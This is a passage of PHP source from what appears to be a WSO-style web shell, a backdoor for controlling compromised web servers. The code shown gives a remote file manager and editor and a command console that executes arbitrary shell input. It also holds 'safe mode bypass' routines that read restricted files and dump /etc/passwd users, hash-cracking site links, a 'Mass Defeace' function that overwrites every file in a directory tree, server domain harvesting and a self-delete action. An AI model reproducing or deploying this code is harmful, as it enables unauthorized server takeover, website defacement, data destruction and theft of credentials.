  625.                     }
  626.                 }
  627.                 unset($_SESSION['f']);
  628.                 break;
  629.             default:
  630.                 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')||($_POST['p1'] == 'zip')||($_POST['p1'] == 'unzip')) ) {
  631.                     $_SESSION['act'] = @$_POST['p1'];
  632.                     $_SESSION['f'] = @$_POST['f'];
  633.                     foreach($_SESSION['f'] as $k => $f)
  634.                         $_SESSION['f'][$k] = urldecode($f);
  635.                     $_SESSION['c'] = @$_POST['c'];
  636.                 }
  637.                 break;
  638.         }
  639.     }
  640.     $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  641.     if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return;    }
  642.     global $sort;
  643.     $sort = array('name', 1);
  644.     if(!empty($_POST['p1'])) {
  645.         if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  646.             $sort = array($match[1], (int)$match[2]);
  647.     }
  648. echo "<script>
  649.     function sa() {
  650.         for(i=0;i<document.files.elements.length;i++)
  651.             if(document.files.elements[i].type == 'checkbox')
  652.                 document.files.elements[i].checked = document.files.elements[0].checked;
  653.     }
  654. </script>
  655. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
  656. <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  657.     $dirs = $files = array();
  658.     $n = count($dirContent);
  659.     for($i=0;$i<$n;$i++) {
  660.         $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  661.         $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  662.         $tmp = array('name' => $dirContent[$i],
  663.                      'path' => $GLOBALS['cwd'].$dirContent[$i],
  664.                      'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
  665.                      'perms' => wsoPermsColor($GLOBALS['cwd'].$dirContent[$i]),
  666.                      'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  667.                      'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  668.                      'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  669.                     );
  670.         if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
  671.             $files[] = array_merge($tmp, array('type' => 'file'));
  672.         elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
  673.             $dirs[] = array_merge($tmp, array('type' => 'link'));
  674.         elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
  675.             $dirs[] = array_merge($tmp, array('type' => 'dir'));
  676.     }
  677.     $GLOBALS['sort'] = $sort;
  678.     function wsoCmp($a, $b) {
  679.         if($GLOBALS['sort'][0] != 'size')
  680.             return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  681.         else
  682.             return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  683.     }
  684.     usort($files, "wsoCmp");
  685.     usort($dirs, "wsoCmp");
  686.     $files = array_merge($dirs, $files);
  687.     $l = 0;
  688.     foreach($files as $f) {
  689.         echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  690.             .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  691.         $l = $l?0:1;
  692.     }
  693.     echo "<tr><td colspan=7>
  694.     <input type=hidden name=a value='FilesMan'>
  695.     <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  696.     <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  697.     <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  698.     if(class_exists('ZipArchive'))
  699.         echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
  700.     if(!empty($_SESSION['act'])&&@count($_SESSION['f']))
  701.         echo "<option value='paste'>Paste / zip</option>";
  702.     echo "</select>&nbsp;<input type='submit' value='>>'></td></tr></form></table></div>";
  703.     wsoFooter();
  704. }
  705.  
  706. function actionStringTools() {
  707.     if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  708.     if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  709.     if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  710.     if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
  711.     if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  712.     $stringTools = array(
  713.         'Base64 encode' => 'base64_encode',
  714.         'Base64 decode' => 'base64_decode',
  715.         'Url encode' => 'urlencode',
  716.         'Url decode' => 'urldecode',
  717.         'Full urlencode' => 'full_urlencode',
  718.         'md5 hash' => 'md5',
  719.         'sha1 hash' => 'sha1',
  720.         'crypt' => 'crypt',
  721.         'CRC32' => 'crc32',
  722.         'ASCII to HEX' => 'ascii2hex',
  723.         'HEX to ASCII' => 'hex2ascii',
  724.         'HEX to DEC' => 'hexdec',
  725.         'HEX to BIN' => 'hex2bin',
  726.         'DEC to HEX' => 'dechex',
  727.         'DEC to BIN' => 'decbin',
  728.         'BIN to HEX' => 'binhex',
  729.         'BIN to DEC' => 'bindec',
  730.         'String to lower case' => 'strtolower',
  731.         'String to upper case' => 'strtoupper',
  732.         'Htmlspecialchars' => 'htmlspecialchars',
  733.         'String length' => 'strlen',
  734.     );
  735.     if(isset($_POST['ajax'])) {
  736.         $_SESSION[$_SERVER['HTTP_HOST'].'ajax'] = true;
  737.         ob_start();
  738.         if(in_array($_POST['p1'], $stringTools))
  739.             echo $_POST['p1']($_POST['p2']);
  740.         $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  741.         echo strlen($temp), "\n", $temp;
  742.         exit;
  743.     }
  744.     wsoHeader();
  745.     echo '<h1>String conversions</h1><div class=content>';
  746.     if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  747.         $_SESSION[$_SERVER['HTTP_HOST'].'ajax'] = false;
  748.     echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  749.     foreach($stringTools as $k => $v)
  750.         echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  751.         echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[$_SERVER['HTTP_HOST'].'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  752.     if(!empty($_POST['p1'])) {
  753.         if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  754.     }
  755.     echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
  756.         <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
  757.             <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
  758.             <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
  759.             <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
  760.             <tr><td></td><td><input type='submit' value='>>'></td></tr>
  761.             </table></form>";
  762.  
  763.     function wsoRecursiveGlob($path) {
  764.         if(substr($path, -1) != '/')
  765.             $path.='/';
  766.         $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
  767.         if(is_array($paths)&&@count($paths)) {
  768.             foreach($paths as $item) {
  769.                 if(@is_dir($item)){
  770.                     if($path!=$item)
  771.                         wsoRecursiveGlob($item);
  772.                 } else {
  773.                     if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
  774.                         echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
  775.                 }
  776.             }
  777.         }
  778.     }
  779.     if(@$_POST['p3'])
  780.         wsoRecursiveGlob($_POST['c']);
  781.     echo "</div><br><h1>Search for hash:</h1><div class=content>
  782.         <form method='post' target='_blank' name='hf'>
  783.             <input type='text' name='hash' style='width:200px;'><br>
  784.             <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
  785.             <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
  786.             <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
  787.             <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
  788.             <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
  789.         </form></div>";
  790.     wsoFooter();
  791. }
  792.  
  793. function actionFilesTools() {
  794.     if( isset($_POST['p1']) )
  795.         $_POST['p1'] = urldecode($_POST['p1']);
  796.     if(@$_POST['p2']=='download') {
  797.         if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  798.             ob_start("ob_gzhandler", 4096);
  799.             header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  800.             if (function_exists("mime_content_type")) {
  801.                 $type = @mime_content_type($_POST['p1']);
  802.                 header("Content-Type: ".$type);
  803.             }
  804.             $fp = @fopen($_POST['p1'], "r");
  805.             if($fp) {
  806.                 while(!@feof($fp))
  807.                     echo @fread($fp, 1024);
  808.                 fclose($fp);
  809.             }
  810.         }exit;
  811.     }
  812.     if( @$_POST['p2'] == 'mkfile' ) {
  813.         if(!file_exists($_POST['p1'])) {
  814.             $fp = @fopen($_POST['p1'], 'w');
  815.             if($fp) {
  816.                 $_POST['p2'] = "edit";
  817.                 fclose($fp);
  818.             }
  819.         }
  820.     }
  821.     wsoHeader();
  822.     echo '<h1>File tools</h1><div class=content>';
  823.     if( !file_exists(@$_POST['p1']) ) {
  824.         echo 'File not exists';
  825.         wsoFooter();
  826.         return;
  827.     }
  828.     $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  829.     if(!$uid) {
  830.         $uid['name'] = @fileowner($_POST['p1']);
  831.         $gid['name'] = @filegroup($_POST['p1']);
  832.     } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  833.     echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  834.     echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  835.     if( empty($_POST['p2']) )
  836.         $_POST['p2'] = 'view';
  837.     if( is_file($_POST['p1']) )
  838.         $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  839.     else
  840.         $m = array('Chmod', 'Rename', 'Touch');
  841.     foreach($m as $v)
  842.         echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  843.     echo '<br><br>';
  844.     switch($_POST['p2']) {
  845.         case 'view':
  846.             echo '<pre class=ml1>';
  847.             $fp = @fopen($_POST['p1'], 'r');
  848.             if($fp) {
  849.                 while( !@feof($fp) )
  850.                     echo htmlspecialchars(@fread($fp, 1024));
  851.                 @fclose($fp);
  852.             }
  853.             echo '</pre>';
  854.             break;
  855.         case 'highlight':
  856.             if( @is_readable($_POST['p1']) ) {
  857.                 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  858.                 $code = @highlight_file($_POST['p1'],true);
  859.                 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  860.             }
  861.             break;
  862.         case 'chmod':
  863.             if( !empty($_POST['p3']) ) {
  864.                 $perms = 0;
  865.                 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  866.                     $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  867.                 if(!@chmod($_POST['p1'], $perms))
  868.                     echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  869.             }
  870.             clearstatcache();
  871.             echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  872.             break;
  873.         case 'edit':
  874.             if( !is_writable($_POST['p1'])) {
  875.                 echo 'File isn\'t writeable';
  876.                 break;
  877.             }
  878.             if( !empty($_POST['p3']) ) {
  879.                 $time = @filemtime($_POST['p1']);
  880.                 $_POST['p3'] = substr($_POST['p3'],1);
  881.                 $fp = @fopen($_POST['p1'],"w");
  882.                 if($fp) {
  883.                     @fwrite($fp,$_POST['p3']);
  884.                     @fclose($fp);
  885.                     echo 'Saved!<br><script>p3_="";</script>';
  886.                     @touch($_POST['p1'],$time,$time);
  887.                 }
  888.             }
  889.             echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  890.             $fp = @fopen($_POST['p1'], 'r');
  891.             if($fp) {
  892.                 while( !@feof($fp) )
  893.                     echo htmlspecialchars(@fread($fp, 1024));
  894.                 @fclose($fp);
  895.             }
  896.             echo '</textarea><input type=submit value=">>"></form>';
  897.             break;
  898.         case 'hexdump':
  899.             $c = @file_get_contents($_POST['p1']);
  900.             $n = 0;
  901.             $h = array('00000000<br>','','');
  902.             $len = strlen($c);
  903.             for ($i=0; $i<$len; ++$i) {
  904.                 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  905.                 switch ( ord($c[$i]) ) {
  906.                     case 0:  $h[2] .= ' '; break;
  907.                     case 9:  $h[2] .= ' '; break;
  908.                     case 10: $h[2] .= ' '; break;
  909.                     case 13: $h[2] .= ' '; break;
  910.                     default: $h[2] .= $c[$i]; break;
  911.                 }
  912.                 $n++;
  913.                 if ($n == 32) {
  914.                     $n = 0;
  915.                     if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  916.                     $h[1] .= '<br>';
  917.                     $h[2] .= "\n";
  918.                 }
  919.             }
  920.             echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  921.             break;
  922.         case 'rename':
  923.             if( !empty($_POST['p3']) ) {
  924.                 if(!@rename($_POST['p1'], $_POST['p3']))
  925.                     echo 'Can\'t rename!<br>';
  926.                 else
  927.                     die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  928.             }
  929.             echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  930.             break;
  931.         case 'touch':
  932.             if( !empty($_POST['p3']) ) {
  933.                 $time = strtotime($_POST['p3']);
  934.                 if($time) {
  935.                     if(!touch($_POST['p1'],$time,$time))
  936.                         echo 'Fail!';
  937.                     else
  938.                         echo 'Touched!';
  939.                 } else echo 'Bad time format!';
  940.             }
  941.             clearstatcache();
  942.             echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  943.             break;
  944.     }
  945.     echo '</div>';
  946.     wsoFooter();
  947. }
  948.  
  949. function actionSafeMode() {
  950.     $temp='';
  951.     ob_start();
  952.     switch($_POST['p1']) {
  953.         case 1:
  954.             $temp=@tempnam($test, 'cx');
  955.             if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  956.                 echo @file_get_contents($temp);
  957.                 unlink($temp);
  958.             } else
  959.                 echo 'Sorry... Can\'t open file';
  960.             break;
  961.         case 2:
  962.             $files = glob($_POST['p2'].'*');
  963.             if( is_array($files) )
  964.                 foreach ($files as $filename)
  965.                     echo $filename."\n";
  966.             break;
  967.         case 3:
  968.             $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
  969.             curl_exec($ch);
  970.             break;
  971.         case 4:
  972.             ini_restore("safe_mode");
  973.             ini_restore("open_basedir");
  974.             include($_POST['p2']);
  975.             break;
  976.         case 5:
  977.             for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  978.                 $uid = @posix_getpwuid($_POST['p2']);
  979.                 if ($uid)
  980.                     echo join(':',$uid)."\n";
  981.             }
  982.             break;
  983.     }
  984.     $temp = ob_get_clean();
  985.     wsoHeader();
  986.     echo '<h1>Safe mode bypass</h1><div class=content>';
  987.     echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
  988.     if($temp)
  989.         echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
  990.     echo '</div>';
  991.     wsoFooter();
  992. }
  993.  
  994. function actionConsole() {
  995.     if(isset($_POST['ajax'])) {
  996.         $_SESSION[$_SERVER['HTTP_HOST'].'ajax'] = true;
  997.         ob_start();
  998.         echo "document.cf.cmd.value='';\n";
  999.         $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
  1000.         if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  1001.             if(@chdir($match[1])) {
  1002.                 $GLOBALS['cwd'] = @getcwd();
  1003.                 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
  1004.             }
  1005.         }
  1006.         echo "document.cf.output.value+='".$temp."';";
  1007.         echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
  1008.         $temp = ob_get_clean();
  1009.         echo strlen($temp), "\n", $temp;
  1010.         exit;
  1011.     }
  1012.     wsoHeader();
  1013.     echo "<script>
  1014. if(window.Event) window.captureEvents(Event.KEYDOWN);
  1015. var cmds = new Array('');
  1016. var cur = 0;
  1017. function kp(e) {
  1018.     var n = (window.Event) ? e.which : e.keyCode;
  1019.     if(n == 38) {
  1020.         cur--;
  1021.         if(cur>=0)
  1022.             document.cf.cmd.value = cmds[cur];
  1023.         else
  1024.             cur++;
  1025.     } else if(n == 40) {
  1026.         cur++;
  1027.         if(cur < cmds.length)
  1028.             document.cf.cmd.value = cmds[cur];
  1029.         else
  1030.             cur--;
  1031.     }
  1032. }
  1033. function add(cmd) {
  1034.     cmds.pop();
  1035.     cmds.push(cmd);
  1036.     cmds.push('');
  1037.     cur = cmds.length-1;
  1038. }
  1039. </script>";
  1040.     echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
  1041.     foreach($GLOBALS['aliases'] as $n => $v) {
  1042.         if($v == '') {
  1043.             echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  1044.             continue;
  1045.         }
  1046.         echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  1047.     }
  1048.     if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1049.         $_SESSION[$_SERVER['HTTP_HOST'].'ajax'] = false;
  1050.     echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.(@$_SESSION[$_SERVER['HTTP_HOST'].'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
  1051.     if(!empty($_POST['p1'])) {
  1052.         echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
  1053.     }
  1054.     echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
  1055.     echo '</form></div><script>document.cf.cmd.focus();</script>';
  1056.     wsoFooter();
  1057. }
  1058.  
  1059. function actionSelfRemove() {
  1060.  
  1061.     if($_POST['p1'] == 'yes')
  1062.         if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  1063.             die('Shell has been removed');
  1064.         else
  1065.             echo 'unlink error!';
  1066.     if($_POST['p1'] != 'yes')
  1067.         wsoHeader();
  1068.     echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  1069.     wsoFooter();
  1070. }
  1071. //** updates
  1072.  
  1073.  function clear_fill($filo,$index){
  1074.     if(file_exists($filo)){
  1075.         $handle = fopen($filo,'w');
  1076.         fwrite($handle,'');
  1077.         fwrite($handle,$index);
  1078.         fclose($handle);  } }
  1079.  
  1080. /////////
  1081.  
  1082. function do_it(){
  1083.   global $dir , $index ;
  1084.    chdir($dir);
  1085.    $me = str_replace(dirname(__FILE__).'/','',__FILE__);
  1086.    $filos = scandir($dir) ;
  1087.    $notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..",".");
  1088.    sort($filos);
  1089.    $n = 0 ;
  1090.    echo "<center><textarea style='width: 950px; height: 300px;'>";
  1091.    foreach ($filos as $filo){
  1092.         if ( $filo != $me && is_dir($filo) != 1 && !in_array($filo, $notallow) ) {
  1093.             echo "$dir/$filo ====> ";
  1094.             edit_file($filo,$index);
  1095.             flush();
  1096.             $n = $n +1 ;
  1097.               } }
  1098.                echo "</textarea>";
  1099.               echo "<br>";
  1100.               echo "<br><h3>$n File Detected</h3></center><br>";
  1101.                 }
  1102.  
  1103. //////////////////////////////
  1104. function ListFiles($dirall) {
  1105.  
  1106.     if($dh = opendir($dirall)) {
  1107.  
  1108.        $filos = Array();
  1109.        $inner_files = Array();
  1110.        $me = str_replace(dirname(__FILE__).'/','',__FILE__);
  1111.        $notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db");
  1112.         while($filo = readdir($dh)) {
  1113.             if($filo != "." && $filo != ".." && $filo[0] != '.' && !in_array($filo, $notallow) ) {
  1114.                 if(is_dir($dirall . "/" . $filo)) {
  1115.                     $inner_files = ListFiles($dirall . "/" . $filo);
  1116.                     if(is_array($inner_files)) $filos = array_merge($filos, $inner_files);
  1117.                 } else {
  1118.                     array_push($filos, $dirall . "/" . $filo);
  1119.                 }
  1120.             }
  1121.         }
  1122.  
  1123.         closedir($dh);
  1124.         return $filos;
  1125.     }
  1126. }
  1127.  //////////////////////////////////////////
  1128.  function do_it_all(){
  1129.    global $index ;
  1130.   $dirall=$_POST['dir'];
  1131.   echo "<center><textarea style='width: 950px; height: 300px;'>";
  1132.   echo "Blowing All Files In Main Dir \n Task Started ;D \n";
  1133. foreach (ListFiles($dirall) as $key=>$filo){
  1134.     $filo = str_replace('//',"/",$filo);
  1135.     echo "$filo ===>";
  1136.     edit_file($filo,$index);
  1137.     flush();
  1138. }
  1139.  echo "</textarea>";
  1140. $key = $key+1;
  1141. echo "<br><h3>$key File Detected</h3></center><br>"; }
  1142.  
  1143. ////////
  1144.  
  1145. function actionMass() {
  1146.     wsoHeader();
  1147.  
  1148.     echo "<h1>Mass Defeace All Files</h1><div class=content>
  1149.            <form name='mass' onSubmit=\"g(null,null,'bpp',this.option.value);return false;\"><br>
  1150.            <strong>Index Code Here :</strong><br>
  1151.             <textarea placeholder='Please Put Your Index Or Domains here !!' name='index' class=bigarea></textarea><br><br>
  1152.            <strong>Main Dir : </strong>
  1153.             <input name='dir' style='width: 550px' type='text' value=".getcwd()."/> | <strong>Options : </strong>
  1154.             <select name='option' style='width: 200px'>
  1155.             <option> </option>
  1156.             <option>Only for Selected Folder</option>
  1157.             <option>For all Sub Folders</option>
  1158.             </select>
  1159.             <input name='indexit' type='submit' value='Brute It' style='width: 81px'><br></form>";
  1160. if(isset($_POST['p1'])) {
  1161.   if ($_POST['indexit'])
  1162. {
  1163.           if ($_POST['option']=="Only for Selected Folder"){ do_it() ;}
  1164.           elseif ($_POST['option']=="For all Sub Folders"){ do_it_all(); }
  1165.           else {echo "Please select one option to work on it !!"; }
  1166. }  }
  1167.  
  1168.     wsoFooter();
  1169. }
  1170.  
  1171. function actionDomain() {
  1172.     wsoHeader();
  1173. echo "<h1>Get All Server Domains</h1><div class=content>";
  1174. $d0mains = @file("/etc/named.conf");
  1175.  
  1176. if(!$d0mains){ echo "<br> Can't ReaD -> [/etc/named.conf]";}
  1177. else {
  1178. echo "<table align=center border=1>
  1179. <tr><td><b><span style='color:red'>Domain</span></b></td><td><b><span style='color:red'>User</span></b></td></tr>";
  1180.  
  1181. foreach($d0mains as $d0main){
  1182.  
  1183. if(eregi("zone",$d0main)){
  1184.  
  1185. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  1186. flush();
  1187.  
  1188. if(strlen(trim($domains[1][0])) > 2){
  1189.  
  1190. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  1191.  
  1192. echo "<tr><td><a target='_blank' href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>"; flush();
  1193.  
  1194. }}}
  1195.  
  1196. echo "</table>
  1197. <p align='center'>";
  1198. }
  1199.     wsoFooter();
  1200. }
  1201.  
  1202. function actionSql() {
  1203.     class DbClass {
  1204.         var $type;
  1205.         var $link;
  1206.         var $res;
  1207.         function DbClass($type) {
  1208.             $this->type = $type;
  1209.         }
  1210.         function connect($host, $user, $pass, $dbname){
  1211.             switch($this->type) {
  1212.                 case 'mysql':
  1213.                     if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1214.                     break;
  1215.                 case 'pgsql':
  1216.                     $host = explode(':', $host);
  1217.                     if(!$host[1]) $host[1]=5432;
  1218.                     if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1219.                     break;
  1220.             }
